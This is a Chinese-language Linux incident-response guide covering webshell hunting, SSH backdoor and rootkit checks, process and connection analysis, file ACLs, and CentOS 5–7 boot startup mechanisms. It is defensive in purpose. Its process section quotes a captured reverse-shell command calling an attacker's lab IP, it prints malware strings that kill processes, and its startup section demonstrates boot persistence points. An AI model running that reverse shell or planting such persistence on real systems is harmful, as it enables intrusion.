0x01 Web服务


一般如果网络边界做好控制,通常对外开放的仅是Web服务,那么需要先找到Webshell,可以通过如下途径:

1)检查最近创建的php、jsp文件和上传目录

例如要查找24小时内被修改的JSP文件:

find ./ -mtime 0 -name "*.jsp"

2)使用Webshell查杀工具

Windows下D盾等,Linux下河马等。

3)与测试环境目录做对比

diff -r {生产dir} {测试dir}

4)创建Audit审计规则

vim /etc/audit/audit.rules

-a exclude,always -F msgtype=CONFIG_CHANGE

-a exit,always -F arch=b64 -F uid=48 -S execve -k webshell

产生日志如下:

type=SYSCALL msg=audit(1505888691.301:898615): arch=c000003e syscall=59 success=yes exit=0 a0=ca5188 a1=cb5ec8 a2=cb5008 a3=8 items=2 ppid=26159 pid=26160 auid=0 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=120028 comm="ls" exe="/bin/ls" subj=unconfined_u:system_r:httpd_t:s0 key="webshell"

type=EXECVE msg=audit(1505888691.301:898615): argc=1 a0="ls"

type=CWD msg=audit(1505888691.301:898615):  cwd="/var/www/html/dvwa"

type=PATH msg=audit(1505888691.301:898615): item=0 name="/bin/ls" inode=2359385 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 nametype=NORMAL

type=PATH msg=audit(1505888691.301:898615): item=1 name=(null) inode=1441842 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 nametype=NORMAL

可以看到所在目录为/var/www/html/dvwa

具体Auditd的使用可以看我这篇文章

【企业安全实战】Web中间件EXECVE审计

 

如果没有通过上述途径找到Webshell,可以通过Access Log获取一些信息。

1)扫描特征

通常入侵行为会伴随着踩点和扫描行为,那么可以查一下具有扫描行为的日志。

例如使用AWVS扫描:

grep 'acunetix' /var/log/httpd/access_log

例如使用sqlmap,但是没有使用–random-agent,UA中带有sqlmap

grep 'sqlmap' /var/log/httpd/access_log

2)孤立页面

referer为 – 的php页面

3)Content-Length

攻击者打包回传,过滤Content-Length大于5M的日志

awk '{if($10>5000000){print $0}}' /var/log/httpd/access_log

需要注意这里如果发现疑似Webshell文件,先用stat记录下时间点,不要直接用vim查看编辑文件内容,这样会更改文件的mtime,对于应急响应来说,时间点很重要。对比时间点更容易在Log找到其他的攻击痕迹。

 

0x02 SSH服务


登录成功:

grep 'Accepted' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr

或者

last,它会读取位于/var/log/wtmp的文件

 

登录失败:

grep 'Failed' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr

或者

lastb,会读取位于/var/log/btmp的文件

 

检查SSH后门方式:

1)比对ssh的版本

ssh -V

2)查看ssh配置文件和/usr/sbin/sshd的时间

stat /usr/sbin/sshd

3)strings检查/usr/sbin/sshd,看是否有邮箱信息

strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过

strings /usr/sbin/sshd

可以查看到邮箱信息。

4)通过strace监控sshd进程读写文件的操作

一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。

ps axu | grep sshd | grep -v grep

root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd

strace -o aa -ff -p 65530

grep open aa* | grep -v -e No -e null -e denied| grep WR

aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4

 

0x03 进程


检查是否存在可疑进程,需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,进程可能会隐藏。

1)系统负载

例如挖矿程序特征就是系统负载高。使用Top命令查看

按照CPU排序:Shift+P

按照MEM排序:Shift+M

2)启动时间

与前面找到的Webshell时间点比对。

3)启动权限

这点很重要,比如某次应急中发现木马进程都是mysql权限执行的,如下所示:

mysql    63763 45.3  0.0  12284  9616 ?        R    01:18 470:54 ./db_temp/dazui.4

mysql    63765  0.0  0.0  12284  9616 ?        S    01:18   0:01 ./db_temp/dazui.4

mysql    63766  0.0  0.0  12284  9616 ?        S    01:18   0:37 ./db_temp/dazui.4

mysql    64100 45.2  0.0  12284  9616 ?        R    01:20 469:07 ./db_temp/dazui.4

mysql    64101  0.0  0.0  12284  9616 ?        S    01:20   0:01 ./db_temp/dazui.4

那基本可以判断是通过Mysql入侵,重点排查Mysql弱口令、UDF提权等。

4)父进程

例如我在菜刀中反弹Bash

[root@server120 html]# ps -ef | grep '/dev/tcp' | grep -v grep

apache   26641  1014  0 14:59 ?        00:00:00 sh -c /bin/sh -c "cd /root/apache-tomcat-6.0.32/webapps/ROOT/;bash -i >& /dev/tcp/192.168.192.144/2345 0>&1;echo [S];pwd;echo [E]" 2>&1

父进程进程号1014

[root@server120 html]# ps -ef | grep 1014

apache    1014  1011  0 Sep19 ?        00:00:00 /usr/sbin/httpd

可以看到父进程为apache,就可以判断攻击者通过Web入侵。

 

lsof -p pid:查看可疑进程打开的文件

例如之前遇到的十字病毒,会修改ps和netstat显示的进程名称

udp        0      0 0.0.0.0:49937               0.0.0.0:*                               131683/ls -la

udp        0      0 0.0.0.0:47584               0.0.0.0:*                               116515/ifconfig

很明显的异常,ls和ifconfig不会存在监听行为。

[root@DataNode105 admin]# lsof -p 131683

COMMAND      PID USER   FD   TYPE    DEVICE SIZE/OFF     NODE NAME

hahidjqzx 131683 root  cwd    DIR      8,98     4096 18087937 /root

hahidjqzx 131683 root  rtd    DIR      8,98     4096        2 /

hahidjqzx 131683 root  txt    REG      8,98   625622 24123895 /usr/bin/hahidjqzxs

可疑看到真正的可执行文件是/usr/bin/hahidjqzxs

file:查看文件类型:

[root@server120 tmp]# file .zl

zl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

strings:显示二进制的文件中可读字符

[root@server120 tmp]# strings .zl

rm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; rm -f /boot/.IptabLex ; rm -f /usr

/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; rm -f /usr/.IptabLex

netstat -anp | grep "IptabLes" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m

> /dev/null

netstat -anp | grep "IptabLex" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m

> /dev/null

例如之前应急遇到的命令替换,通过Strings查看发现有大量的IP地址,就是明显的异常现象。

[root@i-9kp9tipm log]# strings /usr/bin/.sshd | egrep '[1-9]{1,3}\.[1-9]{1,3}\.'

8.8.8.8

8.8.4.4

8.8.8.8

61.132.163.68

202.102.192.68

202.102.213.68

58.242.2.2

202.38.64.1

211.91.88.129

211.138.180.2

218.104.78.2

202.102.199.68

202.175.3.3

 

0x04 网络连接


需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,连接可能会被隐藏。

netstat -antlp | grep ESTABLISHED

查看已经建立的网络连接,例如反弹bash

[root@server120 html]# netstat -antlp | grep EST | grep bash

tcp        0      0 192.168.192.120:41320       192.168.192.144:2345        ESTABLISHED 26643/bash

 

netstat -antlp | grep LISTEN

检查可以监听端口,例如攻击者在本地开启sock5代理,然后使用SSH反弹sock5。

[root@server120 html]# netstat -antlp | grep LISTEN | grep 1080

tcp        0      0 0.0.0.0:1080                0.0.0.0:*                   LISTEN      26810/python

 

[root@template tmp]# lsof -i:80

COMMAND   PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME

nginx   15608   root    6u  IPv4 958629      0t0  TCP *:http (LISTEN)

nginx   23814 nobody    6u  IPv4 958629      0t0  TCP *:http (LISTEN)

 

0x05 敏感目录


/tmp, /var/tmp, /dev/shm,所有用户都可读,可写,可执行

[root@server120 ~]# ls -ald /tmp/

drwxrwxrwt. 10 root root 4096 9月  20 09:41 /tmp/

[root@server120 ~]# ls -ald /var/tmp/

drwxrwxrwt. 2 root root 4096 9月  18 16:57 /var/tmp/

[root@server120 ~]# ls -ald /dev/shm

drwxrwxrwt. 3 root root 60 9月   1 10:23 /dev/shm

 

0x06 history


默认的history仅记录执行的命令,然而这些对于应急来说是不够的,很多系统加固脚本会添加记录命令执行的时间,修改记录的最大条数。
另外之前写的关于Bash审计方式也很推荐,链接:

【企业安全实战】运维Bash命令审计

 

0x07 开机启动


【应急响应】开机启动知识梳理

 

0x08 定时任务


【应急响应】定时任务知识梳理

 

0x09 Rootkit


Rootkit功能通常有隐藏文件、进程、连接、模块,网络嗅探,后门,日志擦除,键盘记录(SSH密码记录)等。

检查命令替换,比较直观的方式就是比较命令的大小和mtime了。

1)比对命令的大小

例如正常的ps和netstat大小

[root@vincent tmp]# ll /bin/ps

-rwxr-xr-x 1 root root 87112 11月 15 2012 /bin/ps

[root@vincent tmp]# ll /bin/netstat

-rwxr-xr-x 1 root root 128216 5月  10 2012 /bin/netstat

下面是其中有一次应急时的记录

[root@DataNode110 admin]# ls -alt /bin/ | head -n 10

total 10836

-rwxr-xr-x   1 root root   625633 Aug 17 16:26 tawlqkazpu

dr-xr-xr-x.  2 root root     4096 Aug 17 16:26 .

-rwxr-xr-x   1 root root  1223123 Aug 17 11:30 ps

-rwxr-xr-x   1 root root  1223123 Aug 17 11:30 netstat

可以看到ps和netstat是一样大的。

2)查看命令的修改时间,按修改时间排序

ls -alt /bin/ | head -n 5

 

而比较全面的检测方式有:

1)rpm -aV

RPM Database 不仅提供了 RPM 包的查询功能,还提供了对已安装的 RPM 包进行验证的功能。默认情况下,RPM Database 存放在 /var/lib/rpm 目录。

需要注意这条命令局限性就是只能检查通过RPM包安装的所有文件。另外为了防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查。

我们可以对系统中所有 RPM 文件做一个全面检查

[root@vincenthostname tmp]# rpm -aV

S.?....T.    /bin/ps

...

输出标记含义如下:

S: 表示文件长度发生了变化

M: 表示文件的访问权限或文件类型发生了变化

5: 表示MD5校验和发生了变化。

D: 表示设备节点的属性发生了变化

L: 表示文件的符号链接发生率变化

U: 表示文件/子目录/设备节点的owner发生了变化

G: 表示文件/子目录/设备节点的group发生了变化

T: 表示文件最后一次的修改时间发生了变化

可以看到使用rpm的方式同样可以检查出文件长度和mtime的改变。

列出某个文件是否被改动过:

[root@localhost cron.daily]# rpm -Vf /bin/bash

S.5....T.    /bin/bash

 

2)使用chkrootkit和rkhunter查看

rkhunter与chkrootkit的安装测试(rootkit kbeast环境)

 

0x10 病毒检测


https://x.threatbook.cn/

http://www.virscan.org

https://www.virustotal.com/

https://fireeye.ijinshan.com/

 

0x11 文件权限


一般是使用chattr或者setfacl来设置权限。

chattr可以修改属性能够提高系统的安全性,但是它并不适合所有的目录。chattr命令不能保护/、/dev、/tmp、/var目录,常用参数如下:

a:即append,设定该参数后,只能向文件中添加数据,而不能删除,多用于服务器日志文件安全,只有root才能设定这个属性。

i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。

s:保密性地删除文件或目录,即硬盘空间被全部收回。

u:与s相反,当设定为u时,数据内容其实还存在磁盘中,可以用于undeletion。

例子:

设置/etc/resolv.conf为不可修改

[root@vincent tmp]# chattr +i /etc/resolv.conf

[root@vincent tmp]# lsattr /etc/resolv.conf

----i--------e- /etc/resolv.conf

[root@vincent tmp]# echo "" > /etc/resolv.conf

-bash: /etc/resolv.conf: 权限不够

可以使用lsattr查看文件权限

[root@vincent tmp]# lsattr 1.txt

-----a-------e- 1.txt

 

setfacl其实是设置文件的访问控制列表,传统的 Linux 文件系统的权限控制是通过 user、group、other 与 r(读)、w(写)、x(执行) 的不同组合来实现的,同时存在不灵活的问题, 例如目录 /data 的权限为:drwxr-x—,所有者与所属组均为 root,在不改变所有者的前提下,要求用户 tom 对该目录有完全访问权限 (rwx).考虑以下2种办法 (这里假设 tom 不属于 root group)

(1) 给 /data 的 other 类别增加 rwx permission,这样由于 tom 会被归为 other 类别,那么他也将拥有 rwx 权限。

(2) 将 tom 加入到 root group,为 root group 分配 rwx 权限,那么他也将拥有 rwx 权限。

以上 2 种方法其实都不合适,为了解决这些问题,Linux 开发出了一套新的文件系统权限管理方法,叫文件访问控制列表 (Access Control Lists, ACL)。简单地来说,ACL 就是可以设置特定用户或者用户组对于一个文件的操作权限。文件的所有者以及有CAP_FOWNER(在目前的linux系统上,root用户是唯一有CAP_FOWNER能力的用户)的用户进程可以设置一个文件的acl。ACL 有两种,一种是access ACL,针对文件和目录设置访问控制列表。一种是default ACL,只能针对目录设置。如果目录中的文件没有设置 ACL,它就会使用该目录的默认 ACL.

getfacl获取文件权限

[root@vincent tmp]# getfacl 1.cap

# file: 1.cap

# owner: root

# group: root

user::rw-

group::r--

other::r--

 

setfacl设置Access ACL

比如我设置/tmp/1.sh的other权限为000,然后切换到vinc账户。

[vinc@vincent tmp]$ cat 1.sh

cat: 1.sh: 权限不够

然后我们添加ACL

[root@vincent opt]# setfacl -m u:vinc:rwx /tmp/1.sh

然后我们使用ll查看,发现第一个字段文件权限第十位变成了+号

[root@vincent tmp]# ll 1.sh

-rwxrwx---+ 1 root root 512 8月   9 03:21 1.sh

然后我们使用getfacl查看

[vinc@vincent tmp]$ getfacl 1.sh

# file: 1.sh

# owner: root

# group: root

user::rwx

user:vinc:rwx

group::r-x

mask::rwx

other::---

我们切换到vinc账户就可以查看内容了

[vinc@vincent tmp]$ cat 1.sh

test

删除这条ACL

[root@vincent tmp]# setfacl -x u:vinc /tmp/1.sh

取消所有的ACL

[root@vincent tmp]# setfacl -b /tmp/1.sh

 

default acl是指对于一个目录进行default acl设置,并且在此目录下建立的文件都将继承此目录的acl。

[root@vincent opt]# setfacl -d -m u:hehe:--- 1

来看下目录1的权限

[root@vincent opt]# getfacl -c 1

user::rwx

group::r-x

other::r-x

default:user::rwx

default:user:hehe:---

default:group::r-x

default:mask::r-x

default:other::r-x

我们在目录1下新建的文件都将继承这个权限。我们在目录1下新建一个文件,然后查看一下ACL

[vinc@vincent 1]$ getfacl 222

# file: 222

# owner: vinc

# group: vinc

user::rw-

user:hehe:---

group::r-x                   #effective:r--

mask::r--

other::r--

切换到hehe账户,查看文件,提示权限不够。

[hehe@vincent 1]$ cat /opt/1/222

cat: /opt/1/222: 权限不够

 

在应急响应时,开机启动项是必查的项,下面梳理一下关于开机启动与服务相关需要排查的点。直接从init开始说。
RHEL5、RHEL6、RHEL7的init系统分别为SysV init、Upstart、Systemd

CentOS 5


启动流程如下:

1)加载BIOS的硬件信息与进行自我测试,并依据设置取得第一个可启动设备;

2)读取并执行第一个启动设备内MBR(主引导分区)的Boot Loader(即是gurb等程序);

3)依据Boot Loader的设置加载Kernel,Kernel会开始检测硬件与加载驱动程序;

4)在硬件驱动成功后,Kernel会主动调用init进程(/sbin/init),init的配置文件/etc/inittab;

5)init执行/etc/rc.d/rc.sysinit文件来准备软件的操作环境(如网络、时区等);

6)init执行runlevel的各个服务的启动(script方式);

7)init执行/etc/rc.d/rc.local文件;

8)init执行终端机模拟程序mingetty来启动login程序,最后等待用户登录。

init程序会读取init的配置文件/etc/inittab,并依据此文件来进行初始化工作。/etc/inittab文件主要作用是指定运行级别,执行系统初始化脚本(/etc/rc.d/rc.sysinit),启动相应运行级别下的服务和启动终端。

[root@jianshe_28 admin]# cat /etc/inittab
#
# inittab This file describes how the INIT process should set up
# the system in a certain run-level.
#
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#

# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
# 
id:3:initdefault:

# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly. 
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"



# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
x:5:respawn:/etc/X11/prefdm -nodaemon

inittab文件中的值都是如下格式:
id:runlevel:action:process

id:
id是指入口标识符,他是个字符串,对于getty、mingetty等,需求id和tty的编号相同,否则getty将不能正常工作。

runlevel:
指定runlevel的级别。能指定多个runlevel级别,也能不为runlevel字段指定特定的值。
运行级别决定了系统启动的绝大部分行为和目的。这个级别从0到6,具有不同的功能。不同的运行级定义如下:

# 0 - 停机(千万别把initdefault设置为0,否则系统永远无法启动)
# 1 - 单用户模式
# 2 - 多用户,没有 NFS
# 3 - 完全多用户模式(标准的运行级)
# 4 - 系统保留的
# 5 - X11 (x window)
# 6 - 重新启动

action:

定义了该进程应该运行在何种状态下,其中action常用的种类有:

wait:切换至某级别运行一次process

respawn:此process终止的话,就重新启动之 initdefault:设置默认运行级别的,process省略

sysinit:设定系统初始化方式,此处一般指定为:/etc/rc.d/rc.sysinit

process:包含init执行的进程

下面看一下具体的配置

id:3:initdefault:

设置runlevel

si::sysinit:/etc/rc.d/rc.sysinit

执行了/etc/rc.d/rc.sysinit,一个shell脚本,他主要是完成一些系统初始化的工作,例如激活交换分区,检查磁盘,加载硬件模块及其他一些需要优先执行任务。

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6
/etc/rc.d/rc是个shell脚本,接受runlevel参数,去执行该runlevel目录下的所有的rc启动脚本。以启动级别为3为例,/etc/rc.d/rc3.d/其实都是一些链接文件,真正的rc启动脚本实际上都是放在/etc/rc.d/init.d/目录下。而这些rc启动脚本有着类似的用法,他们一般能接受start、stop、restart、status等参数。

[root@localhost init.d]# ll /etc/rc.d/rc3.d/
lrwxrwxrwx. 1 root root 16 Jul 13 15:04 K01smartd -> ../init.d/smartd
lrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd
.....

凡是以Kxx开头的,都以stop为参数来调用;凡是以Sxx开头的,都以start为参数来调用。xx是数字、表示的是启动顺序,按xx从小到大来执行。
我们来用chkconfig修改一下试试

[root@localhost rc3.d]# ll | grep audit
lrwxrwxrwx. 1 root root 16 Jul 13 15:05 S11auditd -> ../init.d/auditd
[root@localhost rc3.d]# chkconfig auditd off --level 3
[root@localhost rc3.d]# ll | grep audit
lrwxrwxrwx 1 root root 16 Jul 20 14:00 K88auditd -> ../init.d/auditd

另外说明一下应急响应中我们都会检查/etc/rc.local,其实也是在rcN.d中。
/etc/rc.local是软链到了/etc/rc.d/rc.local

[root@localhost init.d]# ll /etc/rc.local
lrwxrwxrwx. 1 root root 13 Jul 13 15:03 /etc/rc.local -> rc.d/rc.local

Redhat中的运行模式2、3、5都把/etc/rc.d/rc.local做为初始化脚本中的最后一个

[root@localhost rc3.d]# ll /etc/rc.d/rc3.d/S99local 
lrwxrwxrwx. 1 root root 11 Jul 13 15:03 /etc/rc.d/rc3.d/S99local -> ../rc.local

1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
init接下来会打开6个终端,以便用户登录系统。

总结一下,针对CentOS5系统,需要排查的点:
1)/etc/inittab
该文件是可以运行process的,这里我们添加一行
0:235:once:/bin/vinc
内容如下

[root@localhost ~]# cat /bin/vinc 
#!/bin/bash
cat /etc/issue > /tmp/version

重启

[root@localhost ~]# cat /tmp/version 
CentOS release 5.5 (Final)
Kernel \r on an \m

2)/etc/rc.d/rc.sysinit
在最后插入一行/bin/vinc

[root@localhost ~]# ll /tmp/version 
-rw-r--r-- 1 root root 47 11-05 10:10 /tmp/version

3)/etc/rc.d/init.d
4)/etc/rc.d/rc.local

 

CentOS 6


启动流程如下:

init会读取配置文件/etc/inittab 和 /etc/init/*.conf。先看一下/etc/inittab

[root@server120 src]# cat /etc/inittab
# inittab is only used by upstart for the default runlevel.
#
# ADDING OTHER CONFIGURATION HERE WILL HAVE NO EFFECT ON YOUR SYSTEM.
#
# System initialization is started by /etc/init/rcS.conf
#
# Individual runlevels are started by /etc/init/rc.conf
#
# Ctrl-Alt-Delete is handled by /etc/init/control-alt-delete.conf
#
# Terminal gettys are handled by /etc/init/tty.conf and /etc/init/serial.conf,
# with configuration in /etc/sysconfig/init.
#
# For information on how to write upstart event handlers, or how
# upstart works, see init(5), init(8), and initctl(8).
#
# Default runlevel. The runlevels used are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused
# 5 - X11
# 6 - reboot (Do NOT set initdefault to this)
# 
id:3:initdefault:

通过注释可以看到,upstart只使用inittab读取默认的runlevel。添加其他的配置都不会生效,其他的配置都移动到了/etc/init/*.conf下。
系统初始化/etc/init/rcS.conf
对应runlevel的服务启动/etc/init/rc.conf
终端配置/etc/init/tty.conf
….

总结一下,针对CentOS6系统,需要排查的点:
1)/etc/init/*.conf
vim tty.conf,添加一行
exec /bin/vinc
内容如下

[root@vincenthostname init]# cat /bin/vinc 
#!/bin/bash

touch /tmp/vinc

重启

[root@vincenthostname ~]# ll /tmp/vinc
-rw-r--r-- 1 root root 0 6月 22 15:07 /tmp/vinc

2)/etc/rc.d/rc.sysinit
3)/etc/rc.d/init.d
4)/etc/rc.d/rc.local

 

0x03 CentOS7


开机启动流程如下:

1)UEFi或BIOS初始化,运行POST开机自检

2)选择启动设备

3)引导装载程序, centos7是grub2

4)加载装载程序的配置文件: /etc/grub.d/   /etc/default/grub    /boot/grub2/grub.cfg

5)加载initramfs驱动模块

6)加载内核选项

7)内核初始化, centos7使用systemd代替init

8)执行initrd.target所有单元,包括挂载/etc/fstab

9)从initramfs根文件系统切换到磁盘根目录

10)systemd执行默认target配置,配置文件/etc/systemd/system/default.target

11)systemd执行sysinit.target初始化系统及basic.target准备操作系统

12)systemd启动multi-user.target下的本机与服务器服务

13)systemd执行multi-user.target下的/etc/rc.d/rc.local

14)systemd执行multi-user.target下的getty.target及登入服务

15)systemd执行graphical需要的服务

CentOS7使用的是systemd,相较于以前的init有很大的不同。

/etc/inittab是空的

[root@localhost init.d]# cat /etc/inittab | grep -v "^$" | grep -v "^#"

[root@localhost init.d]#

也没有/etc/init目录

[root@localhost init.d]# ls -al /etc/init

ls: cannot access /etc/init: No such file or directory

/etc/rc3.d/和/etc/rc.d/init.d/还存在,所以向后兼容sysv init脚本,在centos5、6系统上/etc/init.d/目录下的服务脚本,systemd也能够对其进行管理

[root@localhost init.d]# ls -al /etc/rc3.d/

total 4

drwxr-xr-x.  2 root root   81 May 30 14:09 .

drwxr-xr-x. 10 root root 4096 May 30 14:31 ..

lrwxrwxrwx.  1 root root   20 Nov  7  2016 K50netconsole -> ../init.d/netconsole

lrwxrwxrwx.  1 root root   17 Nov  7  2016 S10network -> ../init.d/network

lrwxrwxrwx.  1 root root   23 Jan 17  2017 S90zabbix_agentd -> ../init.d/zabbix_agentd

lrwxrwxrwx.  1 root root   15 May 30 14:09 S99ossec -> ../init.d/ossec

systemd提供更优秀的框架以表示系统服务间的依赖关系,尽可能启动更少进程,尽可能将更多进程并行启动,尽可能减少对shell脚本的依赖。systemd的核心概念是unit,unit表示不同类型的systemd对象,通过配置文件进行标识和配置,文件中主要包含了系统服务,监听socket,保存的系统快照以及其他与init相关的信息。

查看所有的unit类型:

[root@localhost system]# systemctl -t help       

Available unit types:

service

socket

busname

target

snapshot

device

mount

automount

swap

timer

path

slice

scope

用途如下:

Service unit:文件扩展名.service 用于定义系统服务
Target unit:文件扩展名.target 用于模拟实现运行级别
Device unit: .device 用于定义内核识别的设备
Mount unit: .mount 定义文件系统的挂载点
Socket unit: .socket 用于标识进程间通行用的socket文件,也可在系统启动时,延迟启动服务,实现按需启动
Snapshot unit: .snapshot 管理系统快照
Swap unit: .swap 用于标识swap设备
Automount unit: .automount 文件系统的自动挂载点
Path unit: .path 用于定义文件系统中的一个文件或目录使用,常用于当文件系统变化时,延迟激活服务,如spool目录

配置文件中主要保存在:

/usr/lib/systemd/system/    每个服务最主要的启动脚本设置,类似于之前的/etc/init.d/ 

/run/systemd/system/    系统执行过程中所产生的服务脚本,比上面目录优先运行

/etc/systemd/system/    管理员建立的执行脚本,类似于/etc/rc.d/rcN.d/Sxx类的功能,比上面目录优先运行
[root@localhost system]# ls /usr/lib/systemd/system/

abrt-ccpp.service                       psacct.service

abrtd.service                           quotaon.service

abrt-oops.service                       rc-local.service

...

[root@localhost system]# ls /run/systemd/system/

session-1006.scope      session-161401.scope    session-24243.scope    session-54837.scope

session-1160.scope      session-162551.scope    session-24243.scope.d  session-54837.scope.d

...

[root@localhost system]# ls /etc/systemd/system/

basic.target.wants                           default.target           sockets.target.wants

dbus-org.fedoraproject.FirewallD1.service    default.target.wants     sysinit.target.wants

dbus-org.freedesktop.NetworkManager.service  getty.target.wants       system-update.target.wants

dbus-org.freedesktop.nm-dispatcher.service   multi-user.target.wants

我们来看下sshd.service

[root@localhost system]# cat sshd.service | grep -v "^$" | grep -v "^#"

[Unit]

Description=OpenSSH server daemon

Documentation=man:sshd(8) man:sshd_config(5)

After=network.target sshd-keygen.service

Wants=sshd-keygen.service

[Service]

EnvironmentFile=/etc/sysconfig/sshd

ExecStart=/usr/sbin/sshd -D $OPTIONS

ExecReload=/bin/kill -HUP $MAINPID

KillMode=process

Restart=on-failure

RestartSec=42s

[Install]

WantedBy=multi-user.target

文件包含三部分。

[Unit]:描述信息与依赖关系

[Service]:ExecStartPre 定义启动服务之前应该运行的命令;ExecStart 定义启动服务的具体命令行语法。

[Install]:WangtedBy 表明这个服务是在多用户模式下所需要的。

我们再来看下multi-user.target

[root@localhost system]# cat multi-user.target | grep -v "^$" | grep -v "^#"

[Unit]

Description=Multi-User System

Documentation=man:systemd.special(7)

Requires=basic.target

Conflicts=rescue.service rescue.target

After=basic.target rescue.service rescue.target

AllowIsolate=yes

Requires表明 multi-user.target 启动的时候 basic.target 也必须被启动,basic.target 停止的时候,multi-user.target 也必须停止。接着查看 basic.target 文件,会发现它又指定了 sysinit.target 等其他的单元必须随之启动。同样 sysinit.target 也会包含其他的单元。采用这样的层层链接的结构,最终所有需要支持多用户模式的组件服务都会被初始化启动好。

此外在/etc/systemd/system 目录下还可以看到诸如*.wants 的目录

[root@localhost system]# ls multi-user.target.wants/   

brandbot.path  plymouth-quit.service           systemd-logind.service

dbus.service   plymouth-quit-wait.service      systemd-update-utmp-runlevel.service

getty.target   systemd-ask-password-wall.path  systemd-user-sessions.service

放在该目录下的配置单元文件等同于在[Unit]小节中的 wants 关键字,即本单元启动时,还需要启动这些单元。

查看multi-user.target的依赖关系

[root@localhost system]# systemctl list-dependencies multi-user.target     

multi-user.target

├─abrt-ccpp.service
├─abrt-oops.service
├─abrt-vmcore.service
├─abrt-xorg.service
├─abrtd.service
├─atd.service
├─auditd.service

查看systemd管理的所有单元

[root@localhost system]# systemctl list-unit-files

UNIT FILE                                   STATE  

proc-sys-fs-binfmt_misc.automount           static 

dev-hugepages.mount                         static 

dev-mqueue.mount                            static

查看服务状态

[root@localhost system]# systemctl list-unit-files --type service     

UNIT FILE                                   STATE  

abrt-ccpp.service                           enabled

abrt-oops.service                           enabled

State的状态如下:

loaded:Unit配置文件已处理

active(running):一次或多次持续处理的运行

active(exited):成功完成一次性的配置

active(waiting):运行中,等待一个事件

inactive:不运行

enabled:开机启动

disabled:开机不启动

static:开机不启动,但可被另一个启用的服务激活

使用 systemctl 控制单元时,通常需要使用单元文件的全名,包括扩展名(例如 sshd.service),如果无扩展名,systemctl 默认把扩展名当作 .service。

启动httpd服务

[root@localhost system]# systemctl start httpd

停止httpd服务

[root@localhost system]# systemctl stop httpd

查看httpd服务运行状态

[root@localhost system]# systemctl status httpd

 

在centOS7上由.target来代替运行级别。

查看我们的机器上有多少个target

[root@localhost system]# ls /usr/lib/systemd/system/*.target | head -n 5

/usr/lib/systemd/system/basic.target

/usr/lib/systemd/system/bluetooth.target

/usr/lib/systemd/system/cryptsetup-pre.target

/usr/lib/systemd/system/cryptsetup.target

/usr/lib/systemd/system/ctrl-alt-del.target

运行级别与target的对照如下:

runlevel0.target -> poweroff.target

runlevel1.target -> rescue.target

runlevel2.target -> multi-user.target

runlevel3.target -> multi-user.target

runlevel4.target -> multi-user.target

runlevel5.target -> graphical.target

runlevel6.target -> reboot.target

运行级别切换

在centOS6上,我们切换级别使用init,在centOS7上来切换用:

systemctl isolate poweroff.target

要想切换运行级别,AllowIsolate=yes才可以。

